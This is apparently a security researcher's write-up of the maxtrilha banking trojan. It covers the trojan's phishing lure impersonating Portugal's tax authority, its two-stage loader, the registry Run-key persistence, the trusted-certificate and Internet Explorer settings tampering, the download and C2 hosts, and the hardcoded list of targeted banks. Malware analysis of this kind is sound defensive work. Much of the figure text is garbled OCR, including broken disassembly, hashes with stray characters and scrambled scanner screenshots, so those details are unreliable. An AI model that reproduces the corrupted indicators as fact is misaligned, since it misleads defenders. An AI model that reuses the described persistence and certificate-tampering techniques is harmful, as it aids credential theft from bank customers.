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The new maxtrilha trojan is being disseminated and targeting several banks around
the world.

A new banking trojan dubbed maxtrilha (due to its encryption key) has been discovered in
the last few days and targeting customers of European and South American banks.
Criminals are constantly creating variants of popular banking trojans, keeping in mind the
same modus operandi but changing the malware internals and its capabilities making it a
fully undetectable (FUD) weapon.

Overview

The recent campaign have been disseminated in Latin America but also extended to Europe
and Portugal. The campaign has been leveraged by Brazilian criminals’ gangue, who use
customized phishing templates to spread the trojan maxtrilha according to the target country.

The malware samples disseminated in Portugal open a legitimate webpage from Autoridade
Tributaria e Aduaneira — Finangas to lure the victims during the execution of the 1st stage.
After that, the malware creates persistence, disables Internet Explorer security settings
to facilitate the download of the 2nd stage from the Internet. In short, the 2nd stage —
maxtrilha trojan — checks or creates persistence when executed on the target machine, uses
a mechanism of capturing details from opened foreground windows matching its name with
specific hardcoded strings related to banking companies, launches banking windows overlay,
can deploy new payloads and communicates with the C2 server in real-time.

The maxtrilha trojan was developed in Delphi language, it's an x64 binary, and it can bypass
AV and EDRs systems — at least until the moment of its analysis.
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Figure 1: High-level diagram of maxtrilha banking trojan.

- Opens a legitimate webpage to

lure victims 1

- Downloads maxtrlha 2nd stage

duwnlnads maxtrilha f

A

- Creates persisience

open a specific - Diizable |IE security zetfings

phishing template loader - 1st stage R e
Credential | Jowglopas
stealer : Znd stage
i =Checks or creates persisience
. : .- Executes additional payloads
= : Colacis details : [ﬁ] , - Check oppend processes and !
———— | from the : .‘.:. : lauches banking overay windows '
. maching ) : - Gets config from C2
: - Zent details to the C2 server
- maxtrilha trojan
hanking
overlay
window
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Maxtrilha has been disseminated via crafted phishing templates by country.
The maxtrilha 1st stage — the loader — opens a legitimate service previously
presented on the phishing template to lure victims during its execution.

The 1st stage creates persistence on the infected machine, disables Internet
Explorer security settings and accepted extensions to facilitate the download of
the 2nd stage.

Maxtrilha trojan — 2nd stage — checks or creates persistence on the machine,
installs or modifies Windows trusted certificates, checks by opening windows to
perform banking windows overlay to steal credentials and can deploy additional
payloads executed via DLL injection technique.

The victims’ data is encrypted and sent to the C2 server geolocated in Russia.

Maxtrilha trojan analysis in-depth

In this section, we are going through the details of maxtrilha malware, analyzing step-by-step
this banking trojan, how it operates, and what kind of data is exfiltrated. Figure 2 shows the
phishing template disseminated in Portugal that impersonates the Autoridade Tributaria e
Aduaneira — Financgas to lure victims to download the maxtrilha 1st stage (the loader).
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De: ContatoFinancas [mailto:arcor_yavuz@arcor.ds]
Enviada: 6 de setembro de 2021 11:54

Assunto: Atencgdo: Dividas em processo de Execucdo.Confirmacdo nr 458438724275404
Importancia: Alta

=

P AT
autoridade
=24 tributaria e aduaneira
Envio da Declaragdo e processo de execugdo de dividas.
Verifique e retorne o quanto antes para validar suas respetivas contribuicdes.

https://cld.pt/dl/download/87cd78fe-5ca2-4tbd-9abec-67239dbac2 18/sapotransfer-5ch50abefoe20cy/Dividas.html?download=true

MOSS
Mini Balcsio Unico
Mini One Stop Shop

Figure 2: Maxtrilha phishing template disseminated in Portugal and impersonating the
Autoridade Tributaria e Aduaneira — Finangas | h/t @MiguelSantareno

As observed below, the “cld.]pt” domain have been used to host several malicious
campaigns during 2021, including the maxtrilha malware wave. The full list can be found at
the end of the analysis.
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Figure 3: Malicious .PT domain used to distribute campaigns in the wild during 2021,
including the maxtrilha malware wave.

Maxtrilha loader- the 1st stage

Filename: PdF.exe / MSITrueColor.exe
MD5:a6f3e35760bc2848cd258b786¢1fd247
Creation date: 2021-09-06 09:20:49

The first alert on this banking trojan was triggered on the 0xSI_f33d.The maxtrilha loader is
customized by criminals according to the target country, and it performs some tasks in
advance, namely:
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o Opens a target legitimate page during its execution via a hardcoded short URL
o Creates persistence on the target machine

o Disables IE security settings; and

o Downloads the maxtrilha 2nd stage.

As presented in Figure 4, several samples have been distributed in the wild last few days,
impersonating different organizations in different countries.

Scanned Detections Type Name Scanned Detections Type Name
2021-09-09 15 /67 Win32 EXE ChromaTune.exe 2021-09-09 0167 Win32 EXE 140.exe
2021-09-09 13 /65 Win3z EXE &06.exe 2021-09-08 0/68 Win32 EXE Skype.exe
2021-09-09 14 [ &7 Win32 EXE Solexs 2021-09-08 0 /6&7 Win3z2 EXE efactura.exe
2021-09-09 9167 Win32 EXE 582.exe 2021-09-09 2167 Win32 EXE facturacion.exe
2021-09-09 3/68 Win32 EXE 278.exe 2021-09-08 0/68 Win32 EXE ccleaner
2021-09-08 36 /68 Win32 EXE CoreSync 2021-09-08 D/68 Win32 EXE Telegram Desktop
2021-09-08 34 [ &7 'Win32 EXE CoreSync 2021-09-09 0 /66 Win3z2 EXE WinRAR
2021-09-09 19 /68 Win32 EXE mastermp4 2021-09-08 0 /&7 Win32 EXE ccleaner
2021-09-08 18 /67 Win32 EXE CriadorOL exe 2021-09-08 0 /65 Win32 EXE WinRAR
2021-09-08 19 /67 Win32 EXE CoreSync i 2021-09-08 3186 Win32 EXE electron.exe
2021-09-09 7157 Win32 EXE iLovePDF ' 2021-09-08 0/ &b Win32 EXE Shype.exe
2021-09-08 5168 Win32 EXE ChromaTune exe ! 2021-09-08 0./ &5 Win32 EXE ccleaner
2021-09-08 23 /68 Win32 EXE CoreSync l; 2021-09-08 10 Mg Win3z EXE facturaeletronica.exe
2021-09-08 19 /67 Win32 EXE AnyDesk 2021-09-09 7167 Win32 EXE Finanzas.exe
2021-09-09 &1 &7 Win32 EXE E-Factura.exe 2021-09-08 13 / &6 Win3z EXE iLovePDF
2021-09-08 25 /68 Win3z EXE CoreSync 2021-09-08 1167 Win3z EXE Financas.exe
2021-09-08 20 /68 Win32 EXE CoreSync 2021-09-08 0 /67 Win32 EXE ccleaner
2021-09-09 14 /67 Win32 EXE payload_1.bin 2021-09-08 0166 Win32 EXE efatura.exe
2021-09-08 3/68 Win32 EXE track003(1].mp3 2021-09-08 0 /67 Win32 EXE tributo.exe
2021-09-08 41/ 67 Win32 EXE CriadorFINAL exe

2021-09-09 0/&7 Win32 EXE 27b.exe

Figure 4: Maxtrilha samples disseminated in August and September 2021.

As mentioned, a specific short URL is hardcoded inside each loader, depending on the target
country. In the case of the maxtrilha loader disseminated in Portugal, it uses the TinyURL
online service, which is opened during the malware execution by the default web browser
installed and available on the victim machine. The short URL points to a specific page
related to the phishing template (see Figure 2) to lure victims.

Jtext:8000086000CEATE® nShowCmd = dword ptr -1@h s 1 HTNSTANCE suh CEAZEA()

text:B00008080BCEATES 2

. text :0B0BREARABCEATER sub rsp, 38h 3 return ShellExecutell(@i64, L"open”, &File, &Parameters, &Parameters, 1);
.text :0000000ABBCEATES xor ecx, ecx 3 hwnd 4

.text:Be00008000CEATER lea rdx, alpen_@& 5 “"open”

.text :000000000BCEATED lea r8, File 3 1pFile

.text : 000000BBBBCEATFA lea r9, Parameters ; lpParameters

text:0000000000CEATFE lea rax, Parameters

.text:0000000000CEABR2 mov [rsp+38h+lpDirectory], rax ; lpDirectory - t cefs ginForm?partIl
.text: 2200000000 EASET mov [rsp+38h+nShowCmd], 1 ; nShowCmd ¢

text:@0e00RRE0BCEASEF call ShellExecutel

text : 0200000000CEASLL add rsp, 38h

text:eEE0EB0EROCEASLE retn

.text:@e06000000CEAS18 sub CEATED endp

.text:0ee08002088CEAE1E

algn_CEAB19:
align 4
const WCHAR alpen_@
alpen_@: ; DATA XREF: sub_CEA7EB+6TO
text "UTF-16LE", ‘open’,®
const WCHAR File
File dd offset loc_748@68 ; DATA XREF: sub C
dw 72h, 78h, 73h
aTinyurlComFlex:
text "UTF-16LE", "://tinyurl.com/flexibiliza’,®
. 3 const WCHAR Parameters
text:2200000000(EABGE Parameters dw B |

align 1eh
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Payload: "%ProgramFiles%\Internet Explorer\iexplore.exe" https://tinyurl.com/
tributodashboard

Target: https://www.acesso.gov.pt/v2/loginForm?partID=PFAP&path=/geral/
dashboard

Payload: "C:\Program Files\Internet Explorer\iexplore.exe"
https://tinyurl.com/flexibiliza

Target: https://www.acesso.gov.pt/v2/loginForm;flexpinter_JSessionID=JybB4aqg8
bkjva-sDnu9c8c6vq38SQhBBsfdhlbpuEyt84qUL1Rg5!1514316675!1580723171?partID=FLX
P&path=/flexibiliza/

Figure 5: A short URL is opened via a default web browser which redirects the victim to a
legitimate service.

In another sample also disseminated in Portugal, we found a different hardcoded string
instead of the short URL. This specific domain is cached on Google and redirects the victim
to the authentication page. With this trick in place, criminals can bypass some security
agents.

Payload: https://sitfiscal.portaldasfinancas.gov.pt/flexibiliza/

Target: https://www.acesso.gov.pt/v2/loginForm?partID=FLXP&path=/flexibiliza/

https://sitfiscal portaldasfinancas gov.pt » flaxibiliza hitps:/isitfiscal portaldasfinancas gov pt » iuc

https:/isitfiscal. portaldasfinancas.gov. pt/flexibi... IUC - Finangas

hitps.sitfiscal portaldasfinancas.gov.pt » municipios hitps:/isitfiscal portaldasfinancas govpt » dados » iban
https://sitfiscal. portaldasfinancas.gov.pt/municipios/ Alterar IBAN - Finangas

https://sitfiscal portaldasfinancas. gov pt » movfin hitps://sitfiscal portaldasfinancas gov.pt » resumoCabranca
https:/isitfiscal. portaldasfinancas.gov.pt/movfin/ https://sitfiscal.portaldasfinancas.gov.pt/movfin/...
https://sitfiscal portaldasfinancas gov.pt » integrada hitps://sitfiscal portaldasfinancas gov pt » geral
hitps://sitfiscal.portaldasfinancas.gov.pt/integrada/ https://sitfiscal.portaldasfinancas.gov.pt/geral/home

https://sitfiscal portaldasfinancas.gov.pt » planosprestacion
https:Hsitﬂsca[.portaldasrinancas.gov. ptfplanosp.,.

https:/isitfiscal portaldasfinancas gowv. pt » infiir
https://sitfiscal.portaldasfinancas.gov.pt/inffin/

Figure 6: Specific hardcoded URL found inside the maxtrilha samples disseminated in
Portugal.

In detail, we found some samples distributing the threat in Portugal, Spain, and Mexico as
observed below.
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Figure 7: Legitimate portals used to lure the victims during the maxtrilha execution in

Portugal, Spain, and Mexico.

After running the executable, it opens the target page to lure victims while it creates
persistence, disables IE security settings, and downloads the 2nd stage into the %Public%

folder.

As mentioned, the bait page is opened based on the TinyURL short URLs hardcoded inside

each binary.
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Figure 8: Legitimate page opened during the malware execution (Portuguese sample).

After showing the authentication page, the trojan performs specific tasks in the background.
The first step is to modify software policy settings, namely the Windows trusted certificates to
acts later as a proxy agent. Both the binaries, 1st stage, and 2nd stage perform this
operation at runtime:
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"PdF.exe" (Access type: "CREATE"; Path:
"SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA")

"PdF.exe" (Access type: "CREATE"; Path:
"SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED")
"PdF.exe" (Access type: "CREATE"; Path:
"SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUST")
"PdF.exe" (Access type: "CREATE"; Path:
"SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE")
"PdF.exe" (Access type: "CREATE"; Path:
"SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT")
"MSITrueColor.exe" (Access type: "CREATE"; Path:
"SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA")
"MSITrueColor.exe" (Access type: "CREATE"; Path:
"SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED")
"MSITrueColor.exe" (Access type: "CREATE"; Path:
"SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT")
"MSITrueColor.exe" (Access type: "CREATE"; Path:
"SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE")
"MSITrueColor.exe" (Access type: "CREATE"; Path:
"SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUST")

Next, also the Internet Explorer security settings are changed to facilitate the download of

the 2nd stage without any restriction:

Queries sensitive IE security settings:

"iexplore.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\SECURITY"; Key:

"DISABLESECURITYSETTINGSCHECK")

"IEXPLORE.EXE" (Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\SECURITY"; Key:

"DISABLESECURITYSETTINGSCHECK")

Queries the display settings of system associated file extensions:
"iexplore.exe" (Access type: "QUERYVAL"; Path:
"HKLM\SOFTWARE\CLASSES\SYSTEMFILEASSOCIATIONS\.EXE"; Key: "NEVERSHOWEXT")
"iexplore.exe" (Access type: "QUERYVAL"; Path:
"HKLM\SOFTWARE\CLASSES\SYSTEMFILEASSOCIATIONS\.EXE"; Key: "ALWAYSSHOWEXT")

The loader has the capacity of selecting the name of the target file to download; these
names are hardcoded in a list with well-known music songs as observed in Figure 9 below.
Finally, the 2nd stage is download from the “sageprototypego.]pt/sept/cult.mp4” domain

path into the %Public% folder and the binary path added to the Windows registry.
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download 2nd stage based on target music names hardcoded strings

mov rex, rsi »

lea rdx, aDuncanLaurence ; "duncan_laursnce” 51 d ( *Jv3 12ei64))(v3, L"chasing_after_you");
mow rax, [rsi] 52 e 3 *Jv3 128i64))(v3, L"chris_stapleton™);
call qword ptr [rax+78h] 53 £ Jv3 120i64))(v3, L"chris_young_+_kane_brow
mov rcx, rsi 54 (I *Jv3  128ie4))(v3, L"clinton_kane");
lea rdx, aDustinlynchFea ; “dustin lynch featuring 55 {7 *)u3  12Bi64))(v3, Roff _CEGTFA);

mov rax, [rsi] 5 g + 120i64 )(v3, &off _CEG818);

call gword ptr [rax+78h] 57 id 3 + 12eie4 )(v3, Roff _CEe858);

mov rex, rsi 58 id 3 + 128i64 )(v3, Roff CE6888);

lea rdx, aEdsheeran ; "=d_s (s 3 + 120164 )(v3, &off CE68AS);

mov rax, [rsi] | *Jvi  120i64))(v3, Roff_CEESCC);

call qword ptr [rax+73h] i Jv3 1208i64))(v3, &off_CEGBEC);

mov rex, rsi (I *Jv3 = 128ie4))(v3, L"customer_service”);
lea rdx, aElleKingMirand ; "elle_king & miranda_l: i | ) 126i64))(v3, &off_CE6944);

mov rax, [rsi] " 5 G 120i64 )(v3, &off CEG968);

call gword ptr [rax+78h] (e ) 1208i64))(v3, L"debut");

mov rcx, rsi 3 120i64))(v3, L"dec");

lea rdx, aElvieShane ; "elwiegshane™ = id (_ 120i64))(v3, L"deja_vu");

mov rax, [rsi] ® Sih (- 1208i64))(v3, L"demon_time");

call  qword ptr [rax+78h] s £ D JuE + 128i64))(v3, fcff CEGIFC);
mov rcx, rsi 8 7o (i 12ei64 )(v3, &off _CEGAS8);

lea rdx, aEmbed ; "embed® . 71 { 4 o 12ei64") (v3, &off _CEGATS);

mov rax, [rsi] . 72 idff B QUIRD + 12864 )(v3, &off _CEGAB@);

call gword ptr [rax+78h] & 73 (8 b1 RO 3 12@8i64))(v3, &off_CEGAEC);

mov rex, rsi $ 72 id QUORD 3 + 120164 )(v3, R0ff_CE6BES);

lea rdx, off CEGD33 75 a Ju3 + 120i64))(v3, &off CE6B2C);
mov rax, [rsi] 76 (a ){v3, &off_CE6B78);

call qword ptr [rax+78h] 77 N 128i64))(v3, L"dua_lipa");

mov rex, rsi 78 id § | 128i64))(v3, L"duncan_laurence");
lea rdx, off_CE6DS54 - 120i64))(

mov rax, [rsi] 3,

call gword ptr [rax+78h] “dustin_lynch_featuring_lauren_alaina_or_mackenzie_porter”);

mov rcx, rsi oid fi 11 * i £ Jv3 120i64))(v3, L"ed_sheeran");

lea rdx, off CE6D3S *)u3  128i64))(v3, L"elle king & miranda_lam
mov rax, [rsi] Jv3  120i64))(v3, L"elvie_shane");
call qword ptr [rax+78h] ) 128i64))(v3, L"embed");

downloads 2nd stage into th

GED fes kuiia W scie Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN";

Key: "ALPHACOLOR';

Value: "%PUBLIC%\MSITrueColor.exe"

Add binary to the registry

2nd stage downloaded into filename was renamed to
“pPublic” folder “MSITrueColer.exe”

Figure 9: Maxtrilha 2nd stage downloaded from the Internet based on target hardcoded
strings.

@@w| » Computer » Local Disk (C:) » Users » Public »

Organize = Include in library = Share with = Mew folder

-

3 T Ciy
a g Favores Mame Date modified Type Size

Bl Deskiop Favorites 7/13/2009 7:35 PM File folder
& Downloads Libraries 5/14/2020 916 PM  File folder
£l Recent Places Public Desktop 81,20 3:25.P N Filefolder
. Public Decuments 6,/13/2020 10:18°ANY.  File folder
4 | o Libraries Public Downloads T/13/2009 9:54 PM File folder
ii Documents Public Music F272009 F5APM Fite falder
_-, Music Public Pictures 7/13/2009 954 PM File folder
k| Pictures Public Recorded TV 11/20/201011:16 ...  File folder
- E Videos Public Videos 771372009 3:54 PM File folder
J MSITrueColor.exe 9/8/2021 9:12 AM Application 17,806 KB

- 8 Homegroup

Figure 10: Maxtrilha 2nd stage is launched every time from the Windows %Public% folder.

Maxtrilha campaign — A possible kill switch
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As a way of preventing further infections through this campaign, the domain from which the
2nd stage is downloaded has been decommissioned, and when the loader tries to unload the
binary, it will go into an error loop because it cannot find and inject the new binary into
memory (sageprototypego.]pt).

= | Error sending data: (12007) The server name or address could not be
resolved,

B #?-Is
o

% Error sending data: (12007) The server name'or address could not be
4 resohved.

Figure 11: Possible kill switch of maxtrilha trojan (1st stage — loader).

Maxtrilha trojan banker — the final stage

Filename: Telegram.exe / MSITrueColor.exe /cult.mp4 / roddy_ricch.mp3
MD5: ea30c0dc58f71a1720990021fda92d1e
Creation date: 2021-09-06 09:06:20

Criminals are constantly creating new ways to make their malicious arsenal FUD. In this
case, the maxtrilha trojan, an x64 Delphi binary is not detected as malicious on VirusTotal,
allowing to infect a large volume of machines around the world during this campaign.
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@ No security vendors flagged this file as malicious

a8512b5271bcse383ecte3141ebb91b92a8a76a51d5328e621855253dc20830 17.39 MB 2021-09-08 0&:47:22 UTC
Telagram Desktop Size 2 hours ago
°— Adbits  assembly  checks network-adspters  checks-user-imput  direct-cpu-clock access  malware  peexe  persistence rumbime modulss
o3 Commanity ,
Score
DETECTION DETAILS RELATIONS BEHAVIOR coMmunTY @)
Acranis (Static ML) (¥) Undetected Ad-Aware () Undetected
Ahnlab-V3 @ Undetected Alibaba G/) Undetected
Securedge APEX (%) Undetected Arcabit (¥) Undetected
Avast ) Undetected Aira (no cloud) ) Undetected
Baidu @ Undetected BitDefender @ Undetected
Eiﬂ);fmﬁar‘l'l‘l_ssa @ Lhdah;cled [ - CAT-GuickHeal @ Undetected
ClamAy. @ lkmenected = | | cmc N - @ L;ndelgcled
Comodo : @ I_,_k&i;tected CrmvdStri.F;e. FEI;CII'I . G/_) Undelt;cled
Analysis Overview | ARequest Repot Detetion | | @ Sample (1718)
Submissionname:  a6512b5271bc6e383ccteIN4lebbIbI2aBa76a511d532ecbc1852253dc 20830 exe no specific threat
ko g 1 ——

Mime:  application/x-dosexec m

SHAZS5&: a6512b5271bcbe3B3ecte3141ebbP1bP2aBa76a5f1d53 2eebe185a253dc20830 B
Last Anti-Virus Scan: ~ 09/08/202117:19:57 (UTC)
Last Sandbox Report: 09/08/202117:19:32 (UTC)

Anti-Virus Results 2 hetrech

MetaDefender [ VinsToal |

CrowdStrike Falcon

View Details: N/
Visit Vendor: [

CLEAN

Static Analysis and ML @
Last Update: OWOB/2021 170957 (UTC)

’ "» GET STARTED WITH A FREE TRIAL I

CLEAN

Multi Scan Analysis
Last Update: O9/08&/2021 17:19:57 (UTC)
View Details: =

wisit Vendor: [£'

CLEAN

Multi Scan Analysis
Last Update: O9/0B/202117:19:57 (UTC)
View Details: [
Visit Vendor: [

Figure 12: Maxtrilha trojan 100% FUD, bypassing, thus part of the AVs and EDR systems.

When the binary is executed, it performs some tasks, including:
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o Uses the invertexto.Jcom online service to check the Internet connection and to
get the victims’ IP address and their geolocation. Then, it creates the PHP files
dynamically on the C2 served based on the victims’ IP addresses.

o Checks or creates persistence on the Windows registry.

o Performs monitoring on the user navigation finding by targeting banking portals
hardcoded inside the binary.

o Retrieve commands from the C2 server and sent the gathered data.

o It can also deploy additional payloads executed via the DLL injection technique.

1. Checks or adds the binary to the reglstry

HKE‘{r CURRENT_USER\Software\M |crosuft\W|ndUws'\CurrentUersmn

reg_key: \Run\AIphaCoIDr reg value C'\USERS\PUBLIC\MSITrueCUIUrexe

4C:8D45 30 lea r3,qword ptr ss:|frbp+30f

4C: 8ESD 80000000 mov r3,qword pir s [r bp+30g [rbp+80] : L"https: / /www. inver texto. com/localizar-ip"

458: 8B85 BE000000 mov rax,gqword ptr :[frbp+5&]

48:534424 20 mov gword ptr ss:|f 200, rax [rsp+20]:L"https: //www. invertexto.com/localizar-ip"

458: 3B85 30000000 mov rax,gword ptr ss:[irbp+30§

458: 834424 28 mov qwurd ptr ss:[frsp+28],rax

E8 12DEFDFF call <cult.mp4.sub_875D80> s

48:884D 78 mev rcx,gword ptr ss:f@rbp+75] i i

48:8B55 40 mov rdx:qwurd ptr ss:Brbp+40) 2- gelts VICtImS IP address

4C: 8005 BEOOOODOO lea r5,gword ptr ds:[<sub_898038>]

E8 FEFGBFFF E&Ell <cult.mp4.sub_s17600>

+ EB 64 jmp Ewlt.mp4.897FES

458: 8845 7O mov rax,gword ptr ss:frbp+70]

45:8B48 78 mov rcx.gword ptr ds:[rax+is

48:8B55 78 mov r'dx,qwurd ptr [rbp—'-TE‘

4C:8BS5 B0O000000 mov r8.gword ptr ss:[[rbp+ c.:q [rbp+80]:L"https: //waww. invertexto. com/localizar-ip"

4C:8BSD B3000000 mov r9,gword ptr ss:[frbp+ss

45:8B85 90000000 mmr rax,qword ptr ss:|[rbp+so]

45:894424 20 qmrd ptr =s:[Ersp+z20f,rax [rsp+20]: L "Rttps:/ v invertexto. comflacalizar—ip"”

ES 91DAFDFF “ cult.mp4.875440

45:3B4D 7O mov rcx.gword ptr 55:Erhp-—.‘ﬂi

458:8B55 70O mov rdx,qwnrd ptr ss:{§irbp+70 "

45:8B45 78 mowv rax,gword ptr ss:[rbp+7e

S W A e 3. checks Internet connection

ES8 8DF&FFFF - <cult. mp4. sub_B897650>

- EB 23 jmp cult.mp4.897FES eaCh '1 0 sSecs

Remote Host Service Data Size Total Size Data Speed Capture Time Last Packet Time Duration
www.invertexto.co..  https 13,645 Bytes 14,931 Bytes 15.2 KB/5ec 9/8/2021 Be28:27 A 9/8/2021 6:28:27 AM:G16 00:00:00.875
www.invertexto.co..  https 13,645 Bytes 14,971 Bytes 16.4 KB/5ec 0/8/2021 6:28:36 A...  9/8/2021 6:28:37 AM:T791 00:00:00.812
www.invertexto.co... https 13,645 Bytes 14,931 Bytes 174 KB/Sec 9/8/2021 6:28:46 A...  9/8/2021 6:28:47 AM:T58 00:00:00.765
www.invertexto.co... https 13,645 Bytes 14,931 Bytes 15.8 KB/Sec 9/8/2021 6:28:57 A...  9/8/2021 6:28:57 AM:.B53 00:00:00.843
www.invertexto.co... https 13,645 Bytes 14,931 Bytes 15.2 KB/Sec 9/8/2021 £:29:07 A...  9/8/2021 6:29:07 AM:884 00:00:00875
www.invertexto.co...  https 13,645 Bytes 15,011 Bytes 15.8 KB/Sec 9/8/2021 ©:29:17 A...  9/8/2021 6:22:17 AM:B0B 00:00:00.843
www.invertexto.co...  https 13,645 Bytes 14,891 Bytes 15.5 KB/Sec 9/8/2021 6:29:27 A...  9/8/2021 6:29:27 AM:8T4 00:00:00.859

| hitps  13645Bytes  14931Bytes 164 KB/Sec 9/8/2021 6:29:37 A... | 9/8/2021 6:29:37 AM:B28 00:00:00.812
www.invertexto.co...  https 13,645 Bytes 14,971 Bytes 15.5 KB/Sec 9/8/2021 6:29:47 A, 9/8/2021 6:29:47 AM:&T5 00:00:00.859
www.invertexto.co...  https 13,645 Bytes 14,971 Bytes 15.3 KB/Sec 0/8/2021 6:29:57 A...  9/8/2021 6:29:57 ANM:985 00:00:00.848
www.invertexto.co...  https 13,645 Bytes 14,931 Bytes 12.5 KB/5ec 9/8/2021 6:30:07 A...  9/8/2021 6:30:08 AM:08G 00:00:01.062
www.invertexto.co...  https 13,645 Bytes 15,051 Bytes 174 KB/Sec 9/8/2021 6:30:17 A...  9/8/2021 6:30:17 AM:T74 00:00:00.765

Figure 13: Maxtrilha checks by Internet connection and adds the binary path to the Windows
reqistry (persistence technique).

Interestingly, the invertexto.Jcom service is being used by the maxtrilha trojan creators to
obtain victims’ IP addresses and at the same time to check by Internet connection. On a
VirusTotal screen, we can see maxtrilha samples communicating with this address in the
last few days.
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Passive DNS Replication

Date resclved Resalver Domain

2021-09-08 VirusTotal ac?-54-207-65-41.58-east- L.compute.amazonaws.com
20191212 VirusTotal wwerinvertexto.com

2019-11-22 VirusTotal invertexto.com

2014-01-24 VirusTotal getnotifig.com
Communicating Files

Scanned Deatections Type Narme
2021-09-09 1147 Win32 EXE Il.exe
2021-09-09 11 bé Win32 EXE 100.exe
2021-09-09 3fa? Win32 EXE 262.axe
2021-09-09 10167 Win32 EXE 03Z.exe
2021-09-09 a7 Win32 EXE 222 exe
2021-09-09 10/ &6 Win32 EXE 348.exe
2021-09-09 13 1 &6 Win32 EXE 30%.exe
2021-09-09 15167 Win32 EXE ChromaTuna.exa
2021-09-09 13 § &5 Win32 EXE G06. Exe
2021-09-09 14 &7 Win32 EXE Sél.exe
2021-09-09 9 r&7 Win32 EXE 582.exe
2021-09-09 3768 Win32 EXE 278.exe
2021-09-08 16 /6B JavaScript F318357 77 4cTOc5748dd088céeedabesBec Saeb154fEdc 112edb 17 fEfPe3c.js
2021-09-08 36 768 Win32 EXE CoraSync
2021-09-08 34167 Win32 EXE CoraSync
2021-09-09 19 /68 Win32 EXE mastermpd
2021-09-09 21 168 Win32 EXE CriadorUQOL.axe
2021-09-08 19 167 Win32 EXE CoraSync
2021-09-09 v Win32 EXE iLovePDF
2021-09-0% 5768 Win32 EXE ChromaTune.exe

Figure 14: Maxtrilha samples communicating with the legitimate service to validate Internet
connection and get the victims’ IP addresses.

During the malware activity, the binary is in a thread loop monitoring Internet browser
windows, and matching the opened pages with hardcoded strings, namely substrings related
to banks in Latin America and Europe, including Portugal.

func_Bx31D688( *data_oxD5SAC1E );

(#(xdata_8xD7DD7® + 120))( data ®xDTDD7®, "abanca" ); (x(xdata_8xDTDDT® + 128))( data_®xDTDDT®, "eurcbic" );

(*(*data_oxD7DD70 + 128))( data_BxD7DD7®, "accescempresasbanca™ ); (*(*data_oxD7DD7e + 120))( data_oxD7DD70, "halifax" );

(*(+data_exD7DD78 + 120))( data_®xD7DD7®, "acessoonlinebankingabancapt" ) (x(xdata_exD7DD76 + 120))( data_BxD7DD78, "halifaxwelcometoonlinebanking"
(*(*data_exD7DD7@ + 128))( data_exD7DD7@, "activobank" )}; (*(xdata_BxD7DD7® + 128))( data_8xD7DDTE, "homebank" );

(*(xdata_exD7DD7® + 120))( data_®xD7DD78, "azteca" ); (#{#data_exDTDD7e + 120))( data_exDTDDTE, "h" );

(x(xdata_oxD7DD70 + 120))( data_8xD7DD78, "bancanet" ); (*(*data_exD7DD7® + 120))( data_8xD7DDTE, "internetbanking" );
(*{+data_exD7DD7e + 120))( data_oxD7DD7@, "bancobest!.); (#{*data_exDTDD70 + 120)})( data_exD7DD7®, "logintodigitalbanking" );
(#(#data_exD70D70 + 120))( data_8xD7DD78, “bancebpi }; (#(*xdata_exD7DD7@ + 120))( data_0xD7DD78, "logintoonlinebanking" );
(#(+data_@xD7DD7e + 120))( data GxD7DD7@, "bancecti™ ) ; (4(>datar0x07D070E 120) T daEELBXDTDDTE, "loyds" );

(*(xdata_exD7DD7@ + 128))( data_exD7DD7@, "bancodecemsrcichome! }; (*(xdata_exD7D07E + 126)) ( data BxD7D078, "metrobank” Jj

(#(*xdata_8xD7DD70 + 120))( data_8xD7DD78, '"bancomer" ); ((+data_oxD7DDT® + 120))( data_@xD7DD76, "millenniumbep” );

(*(xdata_oxD7DD7@ + 12@8))( data_exD7DD7e, "bankia" ); (#(#d=ta.8xD7DD76 -+ 126)) ( data_exD7DD78, "montepic2a™ );

(#(xdata_oxD7DD70 + 120))( data_0xD7DD7E, "baniinter" ); (+(+data_8x07DD70_+ 120)) ( data_exD7DD78, "nationwideinternstbank” );

(*(*data_oxDTDD7@ + 120))( data_exD7DDTE, "natwestonline" );
(% (*data_exD7DD7® + 120))( data_exD7DD78, "novobanco" )}

(*(*data_bxD7DD70 + 128))( data_exD7DD78, “bankofireland" );
(*(xdata_exD7DD7@ + 128))( data_exD7DD7@, "barclaysonlinebanking" );

(#(*data_0xD70DD7e + 120))( dats_8xD7DD7e, "b" J); (*(*data_6xD7DD7® + 128)) ( data_0xD7DD7, "openbank" );
(#(+data_BxD70D78 + 120))( dats_8xD7DD78, "caixabank" }; (*#(*data_oxD7DD7e + 120))( dats_exD7DDTe, "santander" );
(x(xdata_0xD7DD7® + 120))( data_0xD7DD70, "caixadirecta" ); (% (*data_BxDTDD7® + 128))( data_BxD7DD78, "scotiaenlinea" );

(% (*data_exD7DD70 + 128))( data_exD7DD7@, "citibanamex" ); (x(*data_8xDTDDTE + 128))( data_8xDTDDTE, “"t" );
(#(*data_0xD7DD70 + 128))( data_0xD7DD70, "crditoagrcola" );
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Figure 15: Target banks impacted by maxtrilha trojan.

When the string matches, then the malware communicates with the C2 server geolocated in
Russia to perform the following operations:

o It sends initial data related to the machine (hostname) and IP address.

o C2 server receives this information from the index.php page, and creates some
PHP pages that will allow communication (each victim have specific pages based
on their IP address)

With this trick in place, criminals can maintain the thread more invisible as each victim has its
specific pages hosted on the same IP addresses.

In detail, some configurations are also obtained from a “webcindario.Jcom” subdomain, not
available at the moment of analyzis.

abriprorock2018.webcindario.com/br/config.php

Figure 16: Additional configuration retrieved from the webcindario.com sub domain.

The next image shows the moment the trojan gets the windows name via
“GetWindowsTextW()” call, and the beginning of the C2 communication with the strings fully
encrypted.
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Drowsers
